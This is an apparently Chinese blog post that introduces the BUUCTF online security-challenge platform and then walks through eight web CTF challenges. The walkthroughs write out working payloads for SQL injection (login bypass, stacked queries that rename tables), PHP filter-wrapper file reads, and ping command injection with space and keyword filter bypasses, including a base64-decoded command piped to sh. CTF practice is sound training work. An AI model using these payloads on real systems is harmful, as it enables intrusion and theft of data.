前言
Buuctf Web 是一个在线安全挑战平台,旨在提高参与者对网络安全的理解和实践能力。本文将详细介绍 Buuctf Web 的特点、挑战和机遇,帮助读者更好地了解这一领域。
一、Buuctf Web 的特点
多样化的挑战场景:Buuctf Web 提供了多种挑战场景,包括 Web 漏洞利用、密码破解、CTF 夺旗等,涵盖了网络安全领域的各个方面。
高质量的学习资源:平台提供了丰富的学习资源,包括视频教程、文章、案例分析等,帮助参与者提高技能水平。
实时排名和互动交流:Buuctf Web 支持实时排名和互动交流功能,参与者可以在平台上与其他选手一起讨论问题、分享经验。
二、Buuctf Web 的挑战
技术难度高:网络安全领域涉及的知识面广泛,技术难度较高,需要参与者具备较高的技术水平和学习能力。
时间压力大:在 CTF 夺旗等挑战中,时间是非常宝贵的资源,需要在有限的时间内快速定位问题并找到解决方案。
需要团队协作:在某些挑战中,需要团队协作才能更好地完成任务,如何有效地分工和协作也是一大挑战。
三、Buuctf Web 的机遇
提高技能水平:通过参与 Buuctf Web 的挑战,参与者可以不断提高自己的技能水平,增强在网络安全领域的竞争力。
拓展人脉资源:在平台上与其他选手交流互动,可以结识志同道合的朋友,拓展人脉资源。
获得实践机会:Buuctf Web 的挑战场景都是基于真实场景设计的,参与者在挑战中可以获得宝贵的实践机会。
为未来的工作做好准备:对于那些希望在未来从事网络安全相关工作的参与者来说,参与 Buuctf Web 可以为他们未来的工作做好准备。通过参与 Buuctf Web 的挑战,他们可以了解行业最新的动态和技术趋势,提高自己的职业竞争力。
四、如何参与 Buuctf Web 的挑战?
注册账号:首先需要在 Buuctf Web 平台上注册一个账号。
选择挑战场景:根据自己的兴趣和需求选择相应的挑战场景。
学习相关知识:为了更好地完成挑战,需要提前学习相关知识,如 Web 安全、密码学等。
参与挑战:按照挑战的要求完成相应的任务,与其他选手竞争排名。
交流与分享:在平台上与其他选手交流经验、分享技巧,共同提高技术水平。
总结:Buuctf Web 作为一个在线安全挑战平台,为网络安全爱好者提供了一个学习和交流的平台。通过参与 Buuctf Web 的挑战,不仅可以提高自己的技能水平,还可以拓展人脉资源、了解行业动态并为未来的工作做好准备。希望本文的介绍能帮助读者更好地了解 Buuctf Web 的特点、挑战和机遇,为未来的发展做好准备。
一、[极客大挑战 2019] EasySQL
点击链接进入靶场
登录页面,查看页面源代码发现没留注释
先输入 admin' or 1=1# 提交看看(根据题意猜测考察的 SQL 注入)
显示 Flag
二、[极客大挑战 2019] Havefun
打开靶场
页面只有一只猫,打开 F12 检查源代码
可以发现有段注释
<!--
$cat=$_GET['cat'];
echo $cat;
if($cat=='dog'){
echo 'Syc{cat_cat_cat_cat}';
}
-->
含义为如果参数名 cat = dog 值,则输出 flag
在 URL 后面手动构造参数:/?cat=dog
三、[HCTF 2018] WarmUp
打开靶场
页面只有一个猥琐笑脸,F12 查看源代码发现有注释
URL 访问这个 PHP 文件
这里就考验的是代码审计了(大概过一下就行,看重点),观察代码可以发现有个 hint.php,尝试访问一下
提示了 Flag 文件地址,继续 URL 访问
根据 ffffllllaaaagggg 推测出大概路径
四、[ACTF2020 新生赛] Include
打开靶场
先 F12 检查源代码
发现只有超链接,点击跳转
并没有任何提示,根据题目文件猜测考察的是文件包含
flag 就藏在 flag.php 文件中,所以推测采用的是 PHP 伪协议:php://filter -- 对本地磁盘文件进行读写
构造 payload:
?file=php://filter/read=convert.base64-encode/resource=flag.php
# (base64解密就可以看到内容,这里如果不进行base64_encode,则被include进来的代码就会被执行,导致看不到源代码)
拿到字符串进行解码操作
成功拿到 flag
五、[ACTF2020 新生赛] Exec
打开靶场
先 F12 检查源代码并没有发现注释
给出提示 Ping 应该是要咱们输入地址然后 Ping,这里输入回环地址试试
猜测存在漏洞,输入 | ls 测试
127.0.0.1 | ls
显示文件 index.php,证明存在漏洞
继续测试上级目录
127.0.0.1 | ls /
发现 flag,查看内容
127.0.0.1 | cat /flag
六、[GXYCTF2019] Ping Ping Ping
打开靶场
F12 检查源代码没有发现注释
根据网页内容和题目名推测是让咱在 URL 路径上跟上参数然后执行 Ping 命令,这里先跟个 127.0.0.1 试试
/?ip=127.0.0.1
有回显,推测存在漏洞
输入 | ls 测试
?ip=127.0.0.1 | ls
发现被过滤,不加空格试试
?ip=127.0.0.1|ls
发现 flag.php 文件
因为过滤了空格,所以要绕过一下(过滤了大多数符号,查看 index.php 文件即可)
?ip=127.0.0.1|cat$IFS$9index.php
# $IFS是一个环境变量,用于设置shell中的字段分隔符。在这里,它被用作特殊字符
# $9只是当前系统shell进程的第九个参数的持有者,它始终为空字符串
发现很多都过滤了,但仍能绕过
方法一:利用变量代替关键字
/?ip=127.0.0.1;a=g;cat$IFS$9fla$a.php
方法二: 内联执行
先执行 ls 命令,再执行 cat
/?ip=127.0.0.1;cat$IFS$9`ls`
方法三:编码绕过
使用 base64 编码的方式来绕过 flag 过滤
/?ip=127.0.0.1;echo$IFS$9Y2F0IGZsYWcucGhwCg==$IFS$9|$IFS$9base64$IFS$9-d$IFS$9|$IFS$9sh
七、[SUCTF 2019] EasySQL
启动靶场
F12 检查源代码
输入 flag 测试
再输入数字型 1 测试
有回显,判断存在注入点,输入 1' 测试
没有回显,得盲注了,输入 1 # 测试
能显示正常结果,说明过滤做过滤,且能推测出数据库使用的是 MySQL(还可以输入 connection_id() 判断,结果与 1 是一致的)
输入 1,1 测试
再输入 2,1 测试
再输入 2,2 测试发现结果不变,说明第一个字段值影响结果
输入 *,1 测试找到 flag
八、[强网杯 2019] 随便注
打开靶场
给出了一个默认值 1,先提交看看
输入 1' 测试是否为注入点
输入
1' or 1=1 #
继续测试字段数
1' order by 1 #
测试到 3 时报错,说明只有两个字段
直接堆叠注入爆破数据库
0';show databases;#
继续爆表
1';show tables;#
先爆破数字表(一看就不简单)
1';show columns from `1919810931114514 `;#
发现 flag 列,但是查询时发现 select 被过滤
再查看另一张表
1’;show columns from words;#
将words表名改为words1,再将数字表名改为words,这样查询语句就会查询数字表名,我们再将flag字段名改为id字段或者直接添加id字段,就可以达到使用原先代码中的查询语句对flag中的内容进行查询
1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#
最后输入万能密码 1' or 1=1 #